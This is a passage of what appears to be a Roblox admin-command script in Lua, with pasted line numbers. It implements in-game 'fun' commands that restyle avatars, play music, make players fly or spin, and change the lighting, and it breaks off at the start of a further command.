  4693. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  4694. end
  4695. end))
  4696. end
  4697. end
  4698.  
  4699. ------------------
  4700. -- Fun Commands --
  4701. ------------------
  4702. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  4703.  
  4704. if msg:lower():sub(1,8) == "swagify " then
  4705. local plrz = GetPlr(plr, msg:lower():sub(9))
  4706. for i, v in pairs(plrz) do
  4707. coroutine.resume(coroutine.create(function()
  4708. if v and v.Character then
  4709. for i,v in pairs(v.Character:children()) do
  4710. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  4711. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  4712. end
  4713. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  4714. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  4715. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  4716. local torso = plr.Character.Torso
  4717. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  4718. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  4719. p.Size = Vector3.new(.2,.2,.2)
  4720. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  4721. local motor1 = Instance.new("Motor", p)
  4722. motor1.Part0 = p
  4723. motor1.Part1 = torso
  4724. motor1.MaxVelocity = .01
  4725. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  4726. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  4727. local wave = false
  4728. repeat wait(1/44)
  4729. local ang = 0.1
  4730. local oldmag = torso.Velocity.magnitude
  4731. local mv = .002
  4732. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  4733. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  4734. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  4735. motor1.DesiredAngle = -ang
  4736. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  4737. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  4738. if torso.Velocity.magnitude < .1 then wait(.1) end
  4739. until not p or p.Parent ~= torso.Parent
  4740. script:Destroy()
  4741. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  4742. end
  4743. end))
  4744. end
  4745. end
  4746.  
  4747. if msg:lower():sub(1,6) == "music " then
  4748. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  4749. local id = msg:sub(7)
  4750. local pitch = 1
  4751. if tostring(id):lower():find("caramell") then id = 2303479 end
  4752. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  4753. if tostring(id):find("rick") then id = 2027611 end
  4754. if tostring(id):find("halo") then id = 1034065 end
  4755. if tostring(id):find("pokemon") then id = 1372261 end
  4756. if tostring(id):find("cursed") then id = 1372257 end
  4757. if tostring(id):find("extreme") then id = 11420933 end
  4758. if tostring(id):find("awaken") then id = 27697277 end
  4759. if tostring(id):find("alone") then id = 27697392 end
  4760. if tostring(id):find("mario") then id = 1280470 end
  4761. if tostring(id):find("choir") then id = 1372258 end
  4762. if tostring(id):find("chrono") then id = 1280463 end
  4763. if tostring(id):find("dotr") then id = 11420922 end
  4764. if tostring(id):find("entertain") then id = 27697267 end
  4765. if tostring(id):find("fantasy") then id = 1280473 end
  4766. if tostring(id):find("final") then id = 1280414 end
  4767. if tostring(id):find("emblem") then id = 1372259 end
  4768. if tostring(id):find("flight") then id = 27697719 end
  4769. if tostring(id):find("banjo") then id = 27697298 end
  4770. if tostring(id):find("gothic") then id = 27697743 end
  4771. if tostring(id):find("hiphop") then id = 27697735 end
  4772. if tostring(id):find("intro") then id = 27697707 end
  4773. if tostring(id):find("mule") then id = 1077604 end
  4774. if tostring(id):find("film") then id = 27697713 end
  4775. if tostring(id):find("nezz") then id = 8610025 end
  4776. if tostring(id):find("angel") then id = 1372260 end
  4777. if tostring(id):find("resist") then id = 27697234 end
  4778. if tostring(id):find("schala") then id = 5985787 end
  4779. if tostring(id):find("organ") then id = 11231513 end
  4780. if tostring(id):find("tunnel") then id = 9650822 end
  4781. if tostring(id):find("spanish") then id = 5982975 end
  4782. if tostring(id):find("venom") then id = 1372262 end
  4783. if tostring(id):find("wind") then id = 1015394 end
  4784. if tostring(id):find("guitar") then id = 5986151 end
  4785. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  4786. end
  4787.  
  4788. if msg:lower() == "stopmusic" then
  4789. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  4790. end
  4791.  
  4792. if msg:lower() == "musiclist" then
  4793. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  4794. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  4795. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  4796. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4797. end
  4798.  
  4799. if msg:lower():sub(1,4) == "fly " then
  4800. local plrz = GetPlr(plr, msg:lower():sub(5))
  4801. for i, v in pairs(plrz) do
  4802. coroutine.resume(coroutine.create(function()
  4803. if v and v:findFirstChild("PlayerGui") then
  4804. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  4805. cl.Parent = v.PlayerGui cl.Disabled = false
  4806. end
  4807. end))
  4808. end
  4809. end
  4810.  
  4811. if msg:lower():sub(1,6) == "unfly " then
  4812. local plrz = GetPlr(plr, msg:lower():sub(7))
  4813. for i, v in pairs(plrz) do
  4814. coroutine.resume(coroutine.create(function()
  4815. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  4816. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  4817. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  4818. wait(.1) v.Character.Humanoid.PlatformStand = false
  4819. end
  4820. end))
  4821. end
  4822. end
  4823.  
  4824. if msg:lower() == "disco" then
  4825. for i, v in pairs(lobjs) do v:Destroy() end
  4826. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  4827. game.Lighting.Ambient = color
  4828. game.Lighting.FogColor = color
  4829. until nil]]
  4830. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  4831. end
  4832.  
  4833. if msg:lower() == "flash" then
  4834. for i, v in pairs(lobjs) do v:Destroy() end
  4835. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  4836. game.Lighting.Ambient = Color3.new(1,1,1)
  4837. game.Lighting.FogColor = Color3.new(1,1,1)
  4838. game.Lighting.Brightness = 1
  4839. game.Lighting.TimeOfDay = 14
  4840. wait(.1)
  4841. game.Lighting.Ambient = Color3.new(0,0,0)
  4842. game.Lighting.FogColor = Color3.new(0,0,0)
  4843. game.Lighting.Brightness = 0
  4844. game.Lighting.TimeOfDay = 0
  4845. until nil]]
  4846. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  4847. end
  4848.  
  4849. if msg:lower():sub(1,5) == "spin " then
  4850. local plrz = GetPlr(plr, msg:lower():sub(6))
  4851. for i, v in pairs(plrz) do
  4852. coroutine.resume(coroutine.create(function()
  4853. if v and v.Character and v.Character:findFirstChild("Torso") then
  4854. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  4855. local torso = v.Character:findFirstChild("Torso")
  4856. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  4857. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  4858. until not bg or bg.Parent ~= torso
  4859. end
  4860. end))
  4861. end
  4862. end
  4863.  
  4864. if msg:lower():sub(1,7) == "unspin " then
  4865. local plrz = GetPlr(plr, msg:lower():sub(8))
  4866. for i, v in pairs(plrz) do
  4867. coroutine.resume(coroutine.create(function()
  4868. if v and v.Character and v.Character:findFirstChild("Torso") then
  4869. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  4870. end
  4871. end))
  4872. end
  4873. end
  4874.  
  4875. if msg:lower():sub(1,4) == "dog " then
  4876. local plrz = GetPlr(plr, msg:lower():sub(5))
  4877. for i, v in pairs(plrz) do
  4878. coroutine.resume(coroutine.create(function()
  4879. if v and v.Character and v.Character:findFirstChild("Torso") then
  4880. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4881. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4882. v.Character.Torso.Transparency = 1
  4883. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4884. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  4885. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  4886. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  4887. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  4888. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  4889. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  4890. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  4891. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  4892. end
  4893. end))
  4894. end
  4895. end
  4896.  
  4897. if msg:lower():sub(1,6) == "undog " then
  4898. local plrz = GetPlr(plr, msg:lower():sub(7))
  4899. for i, v in pairs(plrz) do
  4900. coroutine.resume(coroutine.create(function()
  4901. if v and v.Character and v.Character:findFirstChild("Torso") then
  4902. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  4903. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  4904. v.Character.Torso.Transparency = 0
  4905. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4906. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  4907. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  4908. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  4909. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  4910. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  4911. end
  4912. end))
  4913. end
  4914. end
  4915.  
  4916. if msg:lower():sub(1,8) == "creeper " then
  4917. local plrz = GetPlr(plr, msg:lower():sub(9))
  4918. for i, v in pairs(plrz) do
  4919. coroutine.resume(coroutine.create(function()
  4920. if v and v.Character and v.Character:findFirstChild("Torso") then
  4921. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4922. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4923. v.Character.Torso.Transparency = 0
  4924. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4925. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  4926. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  4927. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  4928. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  4929. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  4930. end
  4931. end))
  4932. end
  4933. end
  4934.  
  4935. if msg:lower():sub(1,10) == "uncreeper " then
  4936. local plrz = GetPlr(plr, msg:lower():sub(11))
  4937. for i, v in pairs(plrz) do
  4938. coroutine.resume(coroutine.create(function()
  4939. if v and v.Character and v.Character:findFirstChild("Torso") then
  4940. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  4941. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  4942. v.Character.Torso.Transparency = 0
  4943. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4944. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  4945. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  4946. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  4947. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  4948. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  4949. end
  4950. end))
  4951. end
  4952. end
  4953.  
  4954. if msg:lower():sub(1,8) == "bighead " then
  4955. local plrz = GetPlr(plr, msg:lower():sub(9))
  4956. for i, v in pairs(plrz) do
  4957. coroutine.resume(coroutine.create(function()
  4958. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  4959. end))
  4960. end
  4961. end
  4962.  
  4963. if msg:lower():sub(1,9) == "minihead " then
  4964. local plrz = GetPlr(plr, msg:lower():sub(10))
  4965. for i, v in pairs(plrz) do
  4966. coroutine.resume(coroutine.create(function()
  4967. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  4968. end))
  4969. end
  4970. end
  4971.  
  4972. if msg:lower():sub(1,6) == "fling " then
  4973. local plrz = GetPlr(plr, msg:lower():sub(7))
  4974. for i, v in pairs(plrz) do
  4975. coroutine.resume(coroutine.create(function()
  4976. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  4977. local xran local zran
  4978. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  4979. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  4980. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  4981. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  4982. end
  4983. end))
  4984. end
  4985. end
  4986.  
  4987. if msg:lower():sub(1,8) == "seizure " then
  4988. local plrz = GetPlr(plr, msg:lower():sub(9))
  4989. for i, v in pairs(plrz) do
  4990. coroutine.resume(coroutine.create(function()
  4991. if v and v.Character then
  4992. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  4993. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  4994. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  4995. end
  4996. end))
  4997. end
  4998. end
  4999.  
  5000. if msg:lower():sub(1,10) == "unseizure " then
  5001. local plrz = GetPlr(plr, msg:lower():sub(11))
  5002. for i, v in pairs(plrz) do
  5003. coroutine.resume(coroutine.create(function()
  5004. if v and v.Character then
  5005. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  5006. wait(.1) v.Character.Humanoid.PlatformStand = false
  5007. end
  5008. end))
  5009. end
  5010. end
  5011.  
  5012. if msg:lower():sub(1,12) == "removelimbs " then
  5013. local plrz = GetPlr(plr, msg:lower():sub(13))
  5014. for i, v in pairs(plrz) do
  5015. coroutine.resume(coroutine.create(function()
  5016. if v and v.Character then
  5017. for a, obj in pairs(v.Character:children()) do
  5018. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  5019. end
  5020. end
  5021. end))
  5022. end
  5023. end
  5024.  
  5025. if msg:lower():sub(1,5) == "name " then
  5026. local chk1 = msg:lower():sub(6):find(" ") + 5
  5027. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5028. for i, v in pairs(plrz) do
  5029. coroutine.resume(coroutine.create(function()
  5030. if v and v.Character and v.Character:findFirstChild("Head") then
  5031. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  5032. local char = v.Character
  5033. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  5034. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  5035. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  5036. char.Head.Transparency = 1
  5037. end
  5038. end))
  5039. end
  5040. end
  5041.  
  5042. if msg:lower():sub(1,7) == "unname " then
  5043. local plrz = GetPlr(plr, msg:lower():sub(8))
  5044. for i, v in pairs(plrz) do
  5045. coroutine.resume(coroutine.create(function()
  5046. if v and v.Character and v.Character:findFirstChild("Head") then
  5047. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  5048. end
  5049. end))
  5050. end
  5051. end
  5052.  
  5053. if msg:lower():sub(1,5) == "char " then
  5054. local chk1 = msg:lower():sub(6):find(" ") + 5
  5055. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5056. for i, v in pairs(plrz) do
  5057. coroutine.resume(coroutine.create(function()
  5058. if v and v.Character then
  5059. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  5060. v:LoadCharacter()
  5061. end
  5062. end))
  5063. end
  5064. end
  5065.  
  5066. if msg:lower():sub(1,7) == "unchar " then
  5067. local plrz = GetPlr(plr, msg:lower():sub(8))
  5068. for i, v in pairs(plrz) do
  5069. coroutine.resume(coroutine.create(function()
  5070. if v and v.Character then
  5071. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  5072. v:LoadCharacter()
  5073. end
  5074. end))
  5075. end
  5076. end
  5077.  
  5078. if msg:lower():sub(1,7) == "infect " then
  5079. local plrz = GetPlr(plr, msg:lower():sub(8))
  5080. for i, v in pairs(plrz) do
  5081. coroutine.resume(coroutine.create(function()
  5082. if v and v.Character then
  5083. Infect(v.Character)
  5084. end
  5085. end))
  5086. end
  5087. end
  5088.  
  5089. if msg:lower():sub(1,11) == "rainbowify " then
  5090. local plrz = GetPlr(plr, msg:lower():sub(12))
  5091. for i, v in pairs(plrz) do
  5092. coroutine.resume(coroutine.create(function()
  5093. if v and v.Character and v.Character:findFirstChild("Torso") then
  5094. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5095. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5096. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5097. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  5098. cl.Parent = v.Character cl.Disabled = false
  5099. end
  5100. end))
  5101. end
  5102. end
  5103.  
  5104. if msg:lower():sub(1,9) == "flashify " then
  5105. local plrz = GetPlr(plr, msg:lower():sub(10))
  5106. for i, v in pairs(plrz) do
  5107. coroutine.resume(coroutine.create(function()
  5108. if v and v.Character and v.Character:findFirstChild("Torso") then
  5109. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5110. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5111. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5112. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  5113. cl.Parent = v.Character cl.Disabled = false
  5114. end
  5115. end))
  5116. end
  5117. end
  5118.  
  5119. if msg:lower():sub(1,8) == "noobify " then
  5120. local plrz = GetPlr(plr, msg:lower():sub(9))
  5121. for i, v in pairs(plrz) do
  5122. coroutine.resume(coroutine.create(function()
  5123. if v and v.Character then
  5124. Noobify(v.Character)
  5125. end
  5126. end))
  5127. end
  5128. end
  5129.  
  5130. if msg:lower():sub(1,9) == "ghostify " then
  5131. local plrz = GetPlr(plr, msg:lower():sub(10))
  5132. for i, v in pairs(plrz) do
  5133. coroutine.resume(coroutine.create(function()
  5134. if v and v.Character and v.Character:findFirstChild("Torso") then
  5135. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5136. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5137. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5138. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5139. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  5140. if prt.Name:find("Leg") then prt.Transparency = 1 end
  5141. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  5142. end end
  5143. end
  5144. end))
  5145. end
  5146. end
  5147.  
  5148. if msg:lower():sub(1,8) == "goldify " then
  5149. local plrz = GetPlr(plr, msg:lower():sub(9))
  5150. for i, v in pairs(plrz) do
  5151. coroutine.resume(coroutine.create(function()
  5152. if v and v.Character and v.Character:findFirstChild("Torso") then
  5153. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5154. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5155. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5156. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5157. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  5158. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  5159. end end
  5160. end
  5161. end))
  5162. end
  5163. end
  5164.  
  5165. if msg:lower():sub(1,6) == "shiny " then
